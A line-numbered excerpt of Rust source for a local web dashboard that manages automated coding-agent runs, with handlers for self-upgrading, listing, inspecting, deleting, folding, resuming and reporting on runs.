3071 rest = rest[n + 1..].trim_start();
3072 }
3073 Some(total)
3074}
3075
3076#[derive(Debug, Clone, Serialize)]
3077struct UpgradeRequestFailure {
3078 occurred_at: String,
3079 error: String,
3080 retry_after_secs: Option<u64>,
3081 retry_at: Option<u64>,
3083}
3084
3085impl UpgradeRequestFailure {
3086 fn new(error: String) -> Self {
3087 let retry_after_secs = upgrade_retry_after(&error);
3088 let now = std::time::SystemTime::now()
3089 .duration_since(std::time::UNIX_EPOCH)
3090 .unwrap_or_default()
3091 .as_secs();
3092 Self {
3093 occurred_at: jiff::Timestamp::now().to_string(),
3094 error,
3095 retry_after_secs,
3096 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3097 }
3098 }
3099}
3100
3101async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3125 let reading = daemon::read_status(&ui.home);
3126 if let Some(other) = Foreign::of(reading.as_ref()) {
3127 return ApiError::conflict(format!(
3128 "the loop belongs to {}, so replacing this binary would leave \
3129 that process running an old one against the same queue. Upgrade \
3130 where it was started.",
3131 other.who()
3132 ))
3133 .into_response();
3134 }
3135
3136 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3141 return ApiError::conflict("another request is already preparing an upgrade")
3142 .into_response();
3143 };
3144 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3147}
3148
3149fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3150 match result {
3151 Ok(out) => {
3152 *ui.upgrade_request_error
3153 .lock()
3154 .unwrap_or_else(PoisonError::into_inner) = None;
3155 out.into_response()
3156 }
3157 Err(error) if error.status != StatusCode::CONFLICT => {
3158 let failure = UpgradeRequestFailure::new(error.message);
3159 *ui.upgrade_request_error
3160 .lock()
3161 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3162 let mut response = (error.status, Json(&failure)).into_response();
3163 if let Some(value) = failure
3164 .retry_after_secs
3165 .and_then(|secs| secs.to_string().parse().ok())
3166 {
3167 response.headers_mut().insert("retry-after", value);
3168 }
3169 response
3170 }
3171 Err(error) => error.into_response(),
3172 }
3173}
3174
3175async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3176 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3177 return Err(ApiError::conflict(
3178 "an upgrade is already in progress (this process started one and it \
3179 has not finished or failed yet)",
3180 ));
3181 }
3182 let recorded = updater::read_progress(&ui.home);
3183 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3184 return Err(ApiError::conflict(format!(
3185 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3186 stays stuck, restart the deck; on start it settles a stale record.",
3187 p.stage.as_str(),
3188 p.from,
3189 p.to.as_deref().unwrap_or("?"),
3190 )));
3191 }
3192
3193 if crate::updater::disabled_by_env() {
3199 return Ok((
3200 StatusCode::OK,
3201 Json(UpgradeView {
3202 from: env!("CARGO_PKG_VERSION").to_owned(),
3203 to: None,
3204 parked: None,
3205 detail: format!(
3206 "Automatic updates are disabled by {}. Nothing was parked \
3207 and nothing restarted.",
3208 crate::updater::NO_AUTOUPDATE_ENV
3209 ),
3210 }),
3211 ));
3212 }
3213
3214 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3219 let from = env!("CARGO_PKG_VERSION").to_owned();
3220 let latest = match crate::updater::Checker::new(&cfg.update) {
3221 Some(checker) => checker.newer_release().await,
3222 None => Ok(None),
3223 };
3224 upgrade_checked(ui, from, latest)
3225}
3226
3227fn upgrade_checked(
3228 ui: &Arc<Ui>,
3229 from: String,
3230 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3231) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3232 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3233 let Some(latest) = latest else {
3234 return Ok((
3235 StatusCode::OK,
3236 Json(UpgradeView {
3237 from,
3238 to: None,
3239 parked: None,
3240 detail: "Already on the newest release. Nothing was parked \
3241 and nothing restarted."
3242 .to_owned(),
3243 }),
3244 ));
3245 };
3246
3247 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3250 let detail = match &parked {
3251 Some(run) => format!(
3256 "Run {} is parking at its next step, which can take as long as \
3257 the step it is on - up to an hour for an implement wave. The \
3258 deck replaces itself once it parks, comes back, and the loop \
3259 carries that run on from where it stopped. Nothing is lost if \
3260 you close this.",
3261 crate::run::short_of(run)
3262 ),
3263 None => "The deck replaces itself and comes back. Nothing was in \
3264 flight to park."
3265 .to_owned(),
3266 };
3267
3268 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3272 progress.parked_run = parked.clone();
3273 updater::write_progress_logged(&ui.home, &progress);
3277
3278 let home = ui.home.clone();
3279 let looping = ui.looping();
3280 ui.upgrade_spawned
3281 .store(true, std::sync::atomic::Ordering::SeqCst);
3282 let spawned = Arc::clone(&ui.upgrade_spawned);
3283 tokio::spawn(async move {
3284 if let Err(e) = upgrade_and_restart(home.clone()).await {
3285 tracing::error!("the upgrade did not complete: {e:#}");
3286 lock_or_recover(&looping).resume_after_handover = false;
3287 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3291 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3294 }
3295 });
3296
3297 Ok((
3298 StatusCode::ACCEPTED,
3299 Json(UpgradeView {
3300 from,
3301 to: Some(latest.tag_name),
3302 parked,
3303 detail,
3304 }),
3305 ))
3306}
3307
3308async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3313 crate::updater::run_self_update(true, false, true).await?;
3316 updater::log_step(&home, "binary replaced - recording the replaced stage");
3317 if let Some(mut progress) = updater::read_progress(&home) {
3318 progress.advance(updater::Stage::Replaced);
3319 updater::write_progress_logged(&home, &progress);
3320 }
3321 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3322 HANDOVER.notify_one();
3323 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3324 Ok(())
3325}
3326
3327#[derive(Debug, Serialize)]
3333struct RunSummary {
3334 id: String,
3335 short: String,
3336 status: String,
3337 done: bool,
3338 instruction: String,
3339 title: String,
3340 repo: String,
3341 repo_name: String,
3342 created_at: String,
3343 updated_at: String,
3344 candidates: usize,
3345 viable: usize,
3346 judges: usize,
3347 winner: Option<char>,
3348 reviews: usize,
3349 quota_losses: usize,
3350 event: Option<String>,
3351 superseded_by: Option<String>,
3356 waiting: bool,
3363 live: crate::run::Liveness,
3367 pr: Option<crate::run::PrRecord>,
3369 unmerged_by_design: bool,
3375 #[serde(default)]
3378 display_status: String,
3379 #[serde(default)]
3382 badge_status: String,
3383 origin_label: String,
3386}
3387
3388impl RunSummary {
3389 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3390 Self {
3391 id: state.id.clone(),
3392 short: state.short().to_owned(),
3393 status: status_word(state.status),
3394 done: state.status.done(),
3395 unmerged_by_design: state.unmerged_by_design(),
3396 display_status: run_display_status(state, waiting, live),
3397 badge_status: run_display_status(state, waiting, live),
3398 instruction: state.instruction.clone(),
3399 title: title_from(&state.instruction, TITLE_MAX),
3400 repo: state.repo.display().to_string(),
3401 repo_name: state
3402 .repo
3403 .file_name()
3404 .map(|n| n.to_string_lossy().into_owned())
3405 .unwrap_or_default(),
3406 created_at: state.created_at.to_string(),
3407 updated_at: state.updated_at.to_string(),
3408 candidates: state.candidates.len(),
3409 viable: state.viable().len(),
3410 judges: state.config.graph.judges,
3411 winner: state.winner().map(|c| c.label),
3412 reviews: state.reviews.len(),
3413 quota_losses: state.quota.len(),
3414 event: state.events.last().map(|e| e.message.clone()),
3415 waiting,
3416 live,
3417 superseded_by: None,
3420 pr: state.pr.clone(),
3421 origin_label: crate::run::origin_label(state.origin.as_ref()),
3422 }
3423 }
3424}
3425
3426fn status_word(status: RunStatus) -> String {
3429 status.as_str().to_owned()
3433}
3434
3435fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3441 if waiting {
3442 return "waiting".to_owned();
3443 }
3444 if state.unmerged_by_design() {
3445 return "unmerged".to_owned();
3446 }
3447 if !state.status.done() && live == crate::run::Liveness::Dead {
3448 if state.parked {
3451 return "parked".to_owned();
3452 }
3453 return "stale".to_owned();
3454 }
3455 status_word(state.status)
3456}
3457
3458fn run_badge_status(
3466 state: &RunState,
3467 display_status: &str,
3468 live: crate::run::Liveness,
3469 superseded: bool,
3470) -> String {
3471 if state.status.done() || live == crate::run::Liveness::Live {
3472 return display_status.to_owned();
3473 }
3474 if superseded {
3475 return "superseded".to_owned();
3476 }
3477 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3481 return "stale".to_owned();
3482 }
3483 display_status.to_owned()
3484}
3485
3486#[derive(Debug, Deserialize)]
3488struct ListQuery {
3489 #[serde(default)]
3490 limit: Option<usize>,
3491 ids: Option<String>,
3493}
3494
3495impl ListQuery {
3496 fn contains(&self, id: &str) -> bool {
3497 self.ids
3498 .as_ref()
3499 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3500 }
3501}
3502
3503async fn runs_list(
3504 State(ui): State<Arc<Ui>>,
3505 Query(q): Query<ListQuery>,
3506) -> ApiResult<Json<Vec<RunSummary>>> {
3507 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3508 blocking(move || {
3509 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3510 let states = run_ids(&ui.runs)
3511 .into_iter()
3512 .filter_map(|id| read_run(&ui.runs, &id).ok())
3517 .take(limit)
3518 .filter(|run| q.contains(&run.id));
3519 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3520 let summaries = summarize(
3521 states,
3522 &open_runs,
3523 &claimed,
3524 &superseded,
3525 |p| probe.borrow_mut().status(p),
3526 |p| probe.borrow_mut().started_at(p),
3527 );
3528 Ok(Json(summaries))
3529 })
3530 .await
3531}
3532
3533fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3538 let open_runs: HashSet<String> = ui
3539 .questions
3540 .list()
3541 .into_iter()
3542 .filter(|q| q.status.open())
3543 .map(|q| q.run)
3544 .collect();
3545 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3546 .into_iter()
3547 .map(|c| c.run)
3548 .collect();
3549 (open_runs, claimed, ui.queue.superseded())
3550}
3551
3552fn summarize<I, S, D>(
3558 states: I,
3559 open_runs: &HashSet<String>,
3560 claimed: &HashSet<String>,
3561 superseded: &HashMap<String, String>,
3562 mut status_q: S,
3563 mut identity_q: D,
3564) -> Vec<RunSummary>
3565where
3566 I: IntoIterator<Item = RunState>,
3567 S: FnMut(u32) -> Option<bool>,
3568 D: FnMut(u32) -> Option<String>,
3569{
3570 states
3571 .into_iter()
3572 .map(|state| {
3573 let waiting = open_runs.contains(&state.id);
3574 let live =
3575 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3576 let mut row = RunSummary::of(&state, waiting, live);
3577 row.superseded_by = state
3578 .pr_taken_over_by
3579 .as_ref()
3580 .or_else(|| superseded.get(&state.id))
3581 .map(String::as_str)
3582 .map(crate::run::short_of)
3583 .map(str::to_owned);
3584 row.badge_status = run_badge_status(
3585 &state,
3586 &row.display_status,
3587 live,
3588 row.superseded_by.is_some(),
3589 );
3590 row
3591 })
3592 .collect()
3593}
3594
3595#[derive(Debug, Serialize)]
3602struct RunDetailView {
3603 stop_reason: Option<String>,
3604 #[serde(flatten)]
3605 state: RunState,
3606 instruction_md: Vec<md::Node>,
3607 #[serde(flatten)]
3611 prose_md: RunProseMd,
3612 live: crate::run::Liveness,
3627 unmerged_by_design: bool,
3632 #[serde(default)]
3634 waiting: bool,
3635 #[serde(default)]
3637 display_status: String,
3638 #[serde(default)]
3640 badge_status: String,
3641 done: bool,
3646 superseded_by: Option<String>,
3654 latest_attempt: Option<LatestAttempt>,
3668 task: Option<TaskRef>,
3671 origin_label: String,
3675 pass_views: Vec<PassView>,
3678}
3679
3680#[derive(Debug, Serialize)]
3682struct TaskRef {
3683 id: String,
3684 short: String,
3685 title: String,
3686 source_label: String,
3688 source_link: Option<SourceLink>,
3690 status: &'static str,
3692 attempts: usize,
3693 max_attempts: usize,
3694 is_latest: bool,
3696 latest: Option<RunBrief>,
3698 finished_by: Option<RunBrief>,
3700 closed_by_hand: bool,
3702}
3703
3704#[derive(Debug, PartialEq, Eq, Serialize)]
3706struct SourceLink {
3707 kind: &'static str,
3709 id: String,
3711 href: String,
3713}
3714
3715fn encode_segment(raw: &str) -> String {
3717 let mut out = String::with_capacity(raw.len());
3718 for b in raw.bytes() {
3719 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3720 out.push(b as char);
3721 } else {
3722 out.push_str(&format!("%{b:02X}"));
3723 }
3724 }
3725 out
3726}
3727
3728fn source_link(source: &Source) -> Option<SourceLink> {
3732 let Source::Agent { run, node } = source else {
3733 return None;
3734 };
3735 let (kind, route) = if node == crate::queue::CHAT_NODE {
3736 ("chat", "chat")
3737 } else {
3738 ("run", "runs")
3739 };
3740 Some(SourceLink {
3741 kind,
3742 id: run.clone(),
3743 href: id_links::page_href(route, run),
3744 })
3745}
3746
3747#[derive(Debug, Serialize, PartialEq)]
3749struct FollowUpParent {
3750 id: String,
3751 short: String,
3752 title: String,
3753 status: &'static str,
3755 href: String,
3756}
3757
3758#[derive(Debug, Serialize, PartialEq)]
3760struct FollowUpRun {
3761 id: String,
3762 short: String,
3763 status: Option<&'static str>,
3765 href: Option<String>,
3767}
3768
3769#[derive(Debug, Serialize, PartialEq)]
3772struct FollowUpOrigin {
3773 parent: Option<FollowUpParent>,
3775 run: FollowUpRun,
3776 pr: String,
3781 findings: Vec<String>,
3782 generation: u32,
3783}
3784
3785fn followup_origin(
3788 fu: &crate::queue::FollowUp,
3789 task: impl Fn(&str) -> Option<Task>,
3790 run: impl Fn(&str) -> Option<RunState>,
3791) -> FollowUpOrigin {
3792 let parent = fu
3793 .origin_task
3794 .as_deref()
3795 .and_then(task)
3796 .map(|t| FollowUpParent {
3797 short: t.short().to_owned(),
3798 href: format!("#/tasks/{}", encode_segment(&t.id)),
3799 status: t.status.as_str(),
3800 title: t.title,
3801 id: t.id,
3802 });
3803 let state = run(&fu.run);
3804 FollowUpOrigin {
3805 parent,
3806 run: FollowUpRun {
3807 short: run::short_of(&fu.run).to_owned(),
3808 status: state.as_ref().map(|s| s.status.as_str()),
3809 href: state
3810 .is_some()
3811 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3812 id: fu.run.clone(),
3813 },
3814 pr: fu.pr.clone(),
3815 findings: fu.findings.clone(),
3816 generation: fu.generation,
3817 }
3818}
3819
3820#[derive(Debug, Serialize)]
3822struct RunBrief {
3823 id: String,
3824 short: String,
3825 status: Option<&'static str>,
3827 outcome: String,
3829 badge: Option<String>,
3831}
3832
3833fn task_outcome(
3836 task: &Task,
3837 this_run: &str,
3838 max_attempts: usize,
3839 read: impl Fn(&str) -> Option<RunState>,
3840) -> TaskRef {
3841 let max_attempts = task.effective_attempt_limit(max_attempts);
3842 let history = task_history(task, read);
3843 let brief = |h: &TaskRunView| RunBrief {
3844 id: h.id.clone(),
3845 short: h.short.clone(),
3846 status: h.status,
3847 outcome: h.exit.edge_label(h.status),
3848 badge: h.badge.clone(),
3849 };
3850 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3851 let latest = if is_latest {
3852 None
3853 } else {
3854 history.last().map(brief)
3855 };
3856 let done = task.status == TaskStatus::Done;
3857 let finished_by = done
3858 .then(|| {
3859 history
3860 .iter()
3861 .rev()
3862 .find(|h| {
3863 matches!(
3864 h.exit,
3865 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3866 )
3867 })
3868 .map(brief)
3869 })
3870 .flatten();
3871 TaskRef {
3872 short: task.short().to_owned(),
3873 title: task.title.clone(),
3874 id: task.id.clone(),
3875 source_label: task.source.label(),
3876 source_link: source_link(&task.source),
3877 status: task.status.as_str(),
3878 attempts: task.attempts,
3879 max_attempts,
3880 is_latest,
3881 latest,
3882 closed_by_hand: done && finished_by.is_none(),
3883 finished_by,
3884 }
3885}
3886
3887#[derive(Debug, Serialize)]
3889struct LatestAttempt {
3890 id: String,
3891 short: String,
3892 resolved: bool,
3903 status: RunStatus,
3906 done: bool,
3908}
3909
3910#[derive(Debug, Default, Serialize)]
3912struct RunProseMd {
3913 advice_md: Option<AdviceMd>,
3915 candidate_summaries_md: Vec<Vec<md::Node>>,
3917 reviews_md: Vec<RoundMd>,
3919}
3920
3921#[derive(Debug, Default, Serialize)]
3922struct AdviceMd {
3923 synthesis: Vec<md::Node>,
3924 approaches: Vec<Vec<md::Node>>,
3926}
3927
3928#[derive(Debug, Default, Serialize)]
3929struct RoundMd {
3930 reviewers: Vec<ReviewerMd>,
3932 reconsideration: Vec<Vec<md::Node>>,
3934 fix: Option<FixMd>,
3935}
3936
3937#[derive(Debug, Default, Serialize)]
3938struct ReviewerMd {
3939 summary: Vec<md::Node>,
3940 findings: Vec<Vec<md::Node>>,
3942}
3943
3944#[derive(Debug, Default, Serialize)]
3945struct FixMd {
3946 notes: Vec<md::Node>,
3947 rejected: Vec<Vec<md::Node>>,
3949}
3950
3951fn run_prose_md(state: &RunState) -> RunProseMd {
3953 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3954 RunProseMd {
3955 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3956 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3957 approaches: a
3958 .records
3959 .iter()
3960 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3961 .collect(),
3962 }),
3963 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3964 reviews_md: state
3965 .reviews
3966 .iter()
3967 .map(|round| RoundMd {
3968 reviewers: round
3969 .reviews
3970 .iter()
3971 .map(|rec| ReviewerMd {
3972 summary: nodes(&rec.summary),
3973 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3974 })
3975 .collect(),
3976 reconsideration: round
3977 .reconsideration
3978 .iter()
3979 .map(|rv| nodes(&rv.reason))
3980 .collect(),
3981 fix: round.fix.as_ref().map(|fix| FixMd {
3982 notes: nodes(&fix.notes),
3983 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3984 }),
3985 })
3986 .collect(),
3987 }
3988}
3989
3990impl RunDetailView {
3991 fn of(
3992 state: RunState,
3993 waiting: bool,
3994 live: crate::run::Liveness,
3995 superseded_by: Option<String>,
3996 latest_attempt: Option<LatestAttempt>,
3997 task: Option<TaskRef>,
3998 ) -> Self {
3999 let display_status = run_display_status(&state, waiting, live);
4000 let stop_reason = crate::stop_reason::of(
4001 &state,
4002 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4003 );
4004 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4005 Self {
4006 stop_reason,
4007 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4008 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4009 prose_md: run_prose_md(&state),
4010 origin_label: crate::run::origin_label(state.origin.as_ref()),
4011 live,
4012 unmerged_by_design: state.unmerged_by_design(),
4013 waiting,
4014 display_status,
4015 badge_status,
4016 done: state.status.done(),
4017 superseded_by,
4018 latest_attempt,
4019 task,
4020 state,
4021 }
4022 }
4023}
4024
4025async fn run_core(
4027 State(ui): State<Arc<Ui>>,
4028 Path(id): Path<String>,
4029) -> ApiResult<Json<RunDetailView>> {
4030 blocking(move || {
4031 let id = resolve_run(&ui.runs, &id)?;
4032 let state = read_run(&ui.runs, &id)?;
4033 Ok(Json(RunDetailView::of(
4034 state,
4035 false,
4036 crate::run::Liveness::Unknown,
4037 None,
4038 None,
4039 None,
4040 )))
4041 })
4042 .await
4043}
4044
4045async fn run_detail(
4046 State(ui): State<Arc<Ui>>,
4047 Path(id): Path<String>,
4048) -> ApiResult<Json<RunDetailView>> {
4049 blocking(move || {
4050 let id = resolve_run(&ui.runs, &id)?;
4051 let state = read_run(&ui.runs, &id)?;
4052 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4053 let live = state.liveness(daemon_claims);
4054 crate::queue::record_ids(ui.questions.root(), "json")?;
4055 let waiting = ui
4056 .questions
4057 .list()
4058 .iter()
4059 .any(|q| q.run == id && q.status.open());
4060 let max_attempts = daemon::Opts::default().max_attempts;
4061
4062 let matching_task = ui.find_task_for_run(&id)?;
4063
4064 let superseded_by = state
4065 .pr_taken_over_by
4066 .clone()
4067 .or_else(|| {
4068 matching_task
4069 .as_ref()
4070 .and_then(|t| t.successor_of(&id).cloned())
4071 })
4072 .as_deref()
4073 .map(crate::run::short_of)
4074 .map(str::to_owned);
4075
4076 let latest_attempt = matching_task
4080 .as_ref()
4081 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4082 .and_then(|head_id| {
4083 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4084 short: head.short().to_owned(),
4085 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4086 status: head.status,
4087 done: head.status.done(),
4088 id: head.id,
4089 })
4090 });
4091
4092 let task = matching_task
4093 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4094
4095 Ok(Json(RunDetailView::of(
4096 state,
4097 waiting,
4098 live,
4099 superseded_by,
4100 latest_attempt,
4101 task,
4102 )))
4103 })
4104 .await
4105}
4106
4107async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4116 let (id, unreadable) = {
4117 let ui = Arc::clone(&ui);
4118 blocking(move || {
4119 let id = resolve_run(&ui.runs, &id)?;
4120 match read_run(&ui.runs, &id) {
4121 Ok(state) => {
4122 let in_flight =
4123 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4124 state
4125 .ensure_can_delete(in_flight)
4126 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4127 let dir = ui.runs.join(&id);
4128 std::fs::remove_dir_all(&dir)
4129 .with_context(|| format!("remove run directory {}", dir.display()))?;
4130 Ok((id, false))
4131 }
4132 Err(_) => {
4133 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4137 return Err(ApiError::conflict(format!(
4138 "run {id} is being worked on by a live daemon right now"
4139 )));
4140 }
4141 Ok((id, true))
4142 }
4143 }
4144 })
4145 .await?
4146 };
4147 if unreadable {
4148 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4149 .await
4150 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4151 }
4152 let ui = Arc::clone(&ui);
4153 let done = id.clone();
4154 blocking(move || {
4155 ui.questions.abandon_for_run(
4158 &done,
4159 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4160 )?;
4161 Ok(())
4162 })
4163 .await?;
4164 Ok(StatusCode::NO_CONTENT)
4165}
4166
4167async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4191 let (id, state) = {
4192 let ui = Arc::clone(&ui);
4193 blocking(move || {
4194 let id = resolve_run(&ui.runs, &id)?;
4195 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4196 return Err(ApiError::conflict(format!(
4197 "run {id} is being worked on by a live daemon right now"
4198 )));
4199 }
4200 let state = read_run(&ui.runs, &id).ok();
4201 Ok((id, state))
4202 })
4203 .await?
4204 };
4205 let removed = match state {
4206 Some(mut state) => {
4207 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4208 .await
4209 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4210 if removed.is_empty() {
4215 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4216 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4217 }
4218 removed
4219 }
4220 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4221 .await
4222 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4223 };
4224 Ok(Json(FoldView {
4225 run: id,
4226 removed_count: removed.len(),
4227 removed,
4228 }))
4229}
4230
4231#[derive(Debug, Serialize)]
4233struct FoldView {
4234 run: String,
4235 removed: Vec<String>,
4237 removed_count: usize,
4238}
4239
4240#[derive(Debug, Deserialize)]
4243struct FoldMergedBody {
4244 #[serde(default)]
4245 pr_url: String,
4246}
4247
4248async fn run_fold_merged(
4268 State(ui): State<Arc<Ui>>,
4269 Path(id): Path<String>,
4270 Json(body): Json<FoldMergedBody>,
4271) -> ApiResult<Json<FoldMergedView>> {
4272 let pr_url = body.pr_url.trim().to_owned();
4273 if pr_url.is_empty() {
4274 return Err(ApiError::bad_request("pr_url is required"));
4275 }
4276 let (id, mut state) = {
4277 let ui = Arc::clone(&ui);
4278 blocking(move || {
4279 let id = resolve_run(&ui.runs, &id)?;
4280 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4281 return Err(ApiError::conflict(format!(
4282 "run {id} is being worked on by a live daemon right now"
4283 )));
4284 }
4285 let state = read_run(&ui.runs, &id)?;
4286 Ok((id, state))
4287 })
4288 .await?
4289 };
4290 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4291 .await
4292 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4293 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4294 .await
4295 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4296 Ok(Json(FoldMergedView {
4297 run: id,
4298 before: before.as_str().to_owned(),
4299 after: after.as_str().to_owned(),
4300 removed,
4301 }))
4302}
4303
4304#[derive(Debug, Serialize)]
4306struct FoldMergedView {
4307 run: String,
4308 before: String,
4310 after: String,
4312 removed: Vec<String>,
4314}
4315
4316async fn run_resume(
4336 State(ui): State<Arc<Ui>>,
4337 Path(id): Path<String>,
4338) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4339 let (id, state) = {
4340 let ui = Arc::clone(&ui);
4341 blocking(move || {
4342 let id = resolve_run(&ui.runs, &id)?;
4343 let state = read_run(&ui.runs, &id)?;
4344 Ok((id, state))
4345 })
4346 .await?
4347 };
4348 crate::resume::validate_unqueued(&ui.home, &id)
4349 .map_err(|e| ApiError::conflict(e.to_string()))?;
4350 let _resume = ui.begin_resume(&id)?;
4351
4352 let queued = RunSummary::of(
4355 &state,
4356 !ui.questions.open_for(&id).is_empty(),
4357 state.liveness(false),
4358 );
4359 let run = id.clone();
4360 tokio::spawn(async move {
4361 let _resume = _resume;
4362 crate::resume::execute(&run).await;
4363 });
4364 Ok((StatusCode::ACCEPTED, Json(queued)))
4365}
4366
4367async fn run_report(
4368 State(ui): State<Arc<Ui>>,
4369 Path(id): Path<String>,
4370) -> ApiResult<impl IntoResponse> {
4371 let text = blocking(move || {
4372 let id = resolve_run(&ui.runs, &id)?;
4373 let state = read_run(&ui.runs, &id)?;
4377 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4378 let live = state.liveness(daemon_claims);
4379 Ok(format!(
4380 "{}{}",
4381 report::run(&state),
4382 report::active_seats(&state, live)
4383 ))
4384 })
4385 .await?;
4386 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4387}
4388
4389async fn run_report_json(
4393 State(ui): State<Arc<Ui>>,
4394 Path(id): Path<String>,
4395) -> ApiResult<Json<crate::report_view::RunReportView>> {
4396 let view = blocking(move || {
4397 let id = resolve_run(&ui.runs, &id)?;
4398 let state = read_run(&ui.runs, &id)?;
4399 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4400 let recovered = state.graft.as_ref().map(|_| {
4402 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4403 });
4404 Ok(crate::report_view::build_with(
4405 &state,
4406 state.liveness(daemon_claims),
4407 recovered.as_ref(),
4408 ))
4409 })
4410 .await?;
4411 Ok(Json(view))
4412}
4413
4414const GRAFT_DIFF_MAX: usize = 400 * 1024;
4416const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4418
4419async fn run_graft_diff(
4422 State(ui): State<Arc<Ui>>,
4423 Path(id): Path<String>,
4424) -> ApiResult<impl IntoResponse> {
4425 let (repo, pre, post) = blocking(move || {
4426 let id = resolve_run(&ui.runs, &id)?;
4427 let state = read_run(&ui.runs, &id)?;
4428 let g = state
4429 .graft
4430 .as_ref()
4431 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4432 let post = g
4433 .post
4434 .clone()
4435 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4436 Ok((state.repo.clone(), g.pre.clone(), post))
4437 })
4438 .await?;
4439 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4440 if !hex(&pre) || !hex(&post) {
4441 return Err(ApiError::not_found("the recorded commits are not valid"));
4442 }
4443 let out = tokio::time::timeout(
4444 GRAFT_DIFF_TIMEOUT,
4445 crate::git::git_raw(
4446 &repo,
4447 &[
4448 "diff",
4449 "--no-color",
4450 "--no-ext-diff",
4451 "-M",
4452 &pre,
4453 &post,
4454 "--",
4455 ],
4456 ),
4457 )
4458 .await
4459 .map_err(|_| ApiError::not_found("git diff timed out"))?
4460 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4461 if out.code != Some(0) {
4462 return Err(ApiError::not_found(
4463 "the recorded commits are no longer in the repository",
4464 ));
4465 }
